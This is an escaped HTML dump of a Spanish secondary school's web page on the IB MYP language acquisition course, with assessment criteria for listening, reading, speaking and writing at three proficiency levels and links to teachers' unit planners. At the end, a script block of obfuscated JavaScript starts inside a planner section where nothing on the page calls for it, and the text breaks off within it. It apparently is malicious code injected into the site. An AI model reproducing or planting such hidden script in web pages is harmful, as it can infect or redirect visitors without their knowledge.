8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Comprensi\u00f3n de lectura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel intermedio, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales escritos aut\u00e9nticos sencillos y algunos complejos, y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Comprensi\u00f3n oral<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel intermedio, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Usar una pronunciaci\u00f3n y entonaci\u00f3n claras de manera comprensible<\/li>\n\n\n\n<li>Al interactuar, comunicar toda o casi toda la informaci\u00f3n necesaria con claridad y eficacia<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Expresi\u00f3n escrita<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel intermedio, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Organizar la informaci\u00f3n eficaz y coherentemente con un formato adecuado usando una amplia gama de recursos de cohesi\u00f3n sencillos y complejos<\/li>\n\n\n\n<li>Comunicar toda o casi toda la informaci\u00f3n necesaria teniendo claramente en cuenta el destinatario y el prop\u00f3sito para adecuarse al contexto<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Nivel competente<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div id=\"wp-block-themeisle-blocks-accordion-6947bae9\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Comprensi\u00f3n auditiva<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel competente, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales orales aut\u00e9nticos complejos, y deber\u00e1n se capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Comprensi\u00f3n de lectura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel competente, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales escritos aut\u00e9nticos complejos, y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Expresi\u00f3n oral <\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel competente, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Usar una pronunciaci\u00f3n y entonaci\u00f3n claras de manera comprensible<\/li>\n\n\n\n<li>Al interactuar, comunicar toda o casi toda la informaci\u00f3n necesaria con claridad y eficacia<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Expresi\u00f3n escrita<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel competente, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Organizar la informaci\u00f3n eficaz y coherentemente con un formato adecuado usando una amplia gama de recursos de cohesi\u00f3n complejos<\/li>\n\n\n\n<li>Comunicar toda o casi toda la informaci\u00f3n necesaria teniendo claramente en cuenta el destinatario y el prop\u00f3sito para adecuarse al contexto<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"2o_ESO_3o_PAI_%E2%80%93_3o_ESO_4o_PAI\"><\/span>2\u00ba ESO (3\u00ba PAI) &#8211; 3\u00ba ESO (4\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-6301ce2e\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Nivel inicial<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div id=\"wp-block-themeisle-blocks-accordion-17fad77d\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Comprensi\u00f3n auditiva<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel inicial, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales orales aut\u00e9nticos sencillos y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Comprensi\u00f3n de lectura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel inicial, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales escritos aut\u00e9nticos sencillos y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Expresi\u00f3n oral<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel inicial, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Usar una pronunciaci\u00f3n y entonaci\u00f3n claras de manera comprensible<\/li>\n\n\n\n<li>Comunicar toda o casi toda la informaci\u00f3n necesaria con claridad y eficacia<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Expresi\u00f3n escrita<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel inicial, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Organizar la informaci\u00f3n eficaz y coherentemente con un formato adecuado usando una amplia gama de recursos de cohesi\u00f3n sencillos y algunos complejos<\/li>\n\n\n\n<li>Comunicar toda o casi toda la informaci\u00f3n necesaria teniendo claramente en cuenta el destinatario y el prop\u00f3sito para adecuarse al contexto<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Nivel intermedio<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div id=\"wp-block-themeisle-blocks-accordion-f27b13a0\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Comprensi\u00f3n auditiva<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel intermedio, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales orales aut\u00e9nticos sencillos y algunos complejos, y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Comprensi\u00f3n de lectura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel intermedio, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales escritos aut\u00e9nticos sencillos y algunos complejos, y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Comprensi\u00f3n oral<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel intermedio, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Usar una pronunciaci\u00f3n y entonaci\u00f3n claras de manera comprensible<\/li>\n\n\n\n<li>Al interactuar, comunicar toda o casi toda la informaci\u00f3n necesaria con claridad y eficacia<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Expresi\u00f3n escrita<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel intermedio, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Organizar la informaci\u00f3n eficaz y coherentemente con un formato adecuado usando una amplia gama de recursos de cohesi\u00f3n sencillos y complejos<\/li>\n\n\n\n<li>Comunicar toda o casi toda la informaci\u00f3n necesaria teniendo claramente en cuenta el destinatario y el prop\u00f3sito para adecuarse al contexto<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Nivel competente<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div id=\"wp-block-themeisle-blocks-accordion-f5898017\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Comprensi\u00f3n auditiva<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel competente, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales orales aut\u00e9nticos complejos, y deber\u00e1n se capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Comprensi\u00f3n de lectura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel competente, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales escritos aut\u00e9nticos complejos, y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Expresi\u00f3n oral <\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel competente, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Usar una pronunciaci\u00f3n y entonaci\u00f3n claras de manera comprensible<\/li>\n\n\n\n<li>Al interactuar, comunicar toda o casi toda la informaci\u00f3n necesaria con claridad y eficacia<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Expresi\u00f3n escrita<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel competente, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Organizar la informaci\u00f3n eficaz y coherentemente con un formato adecuado usando una amplia gama de recursos de cohesi\u00f3n complejos<\/li>\n\n\n\n<li>Comunicar toda o casi toda la informaci\u00f3n necesaria teniendo claramente en cuenta el destinatario y el prop\u00f3sito para adecuarse al contexto<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Plantillas_de_planificadores\"><\/span>Plantillas de planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button is-style-outline is-style-outline--2\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/docs.google.com\/document\/d\/1lgPKDzUC1CWkDcP88F7zoV37llZME6suJEepP2Rrsjo\/copy\" target=\"_blank\" rel=\"noreferrer noopener\">1\u00ba ESO (2\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--3\"><a class=\"wp-block-button__link wp-element-button\">2\u00ba ESO (3\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--4\"><a class=\"wp-block-button__link wp-element-button\">3\u00ba ESO (4\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--5\"><a class=\"wp-block-button__link wp-element-button\">4\u00ba ESO (5\u00ba PAI)<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"Planificadores\"><\/span>Planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Estos planificadores son fruto del trabajo de profesores del IES Rosa Chacel. Por definici\u00f3n estos documentos de planificaci\u00f3n del trabajo de aula est\u00e1n vivos, por lo que la versi\u00f3n publicada no es nunca la versi\u00f3n actual. Publicamos nuestros planificadores con la intenci\u00f3n de que resulten \u00fatiles a otros docentes. Agradecemos cualquier observaci\u00f3n que pueda mejorar nuestro trabajo o animarnos a continuar: estamos en <a rel=\"noreferrer noopener\" href=\"mailto:pai@iesrosachacel.org\" target=\"_blank\">pai@iesrosachacel.org<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.244), 16px);\"><span class=\"ez-toc-section\" id=\"1o_ESO_2o_PAI-2\"><\/span><strong>1\u00ba ESO (2\u00ba PAI)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/My-favourite-celebrity-1024x724.jpg\" alt=\"\" class=\"wp-image-760 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/My-favourite-celebrity-1024x724.jpg 1024w, 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class=\"wp-block-paragraph\">Successful communication requires the use of the correct grammatical forms and organised and structured texts to describe connections with different identities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/05\/My-favourite-celebrity.pdf\">Descarga<\/a><\/p>\n<\/div><\/div>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Eat-to-live-or-ive-to-eat-1-1024x724.jpg\" alt=\"\" class=\"wp-image-826 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Eat-to-live-or-ive-to-eat-1-1024x724.jpg 1024w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Eat-to-live-or-ive-to-eat-1-300x212.jpg 300w, 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understanding of a culture as well as allowing individuals to communicate their personal interests.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Eat-to-live-or-ive-to-eat.pdf\">Descarga<\/a><\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.244), 16px);\"><span class=\"ez-toc-section\" id=\"2o_ESO_3o_PAI\"><\/span><strong>2\u00ba ESO (3\u00ba PAI)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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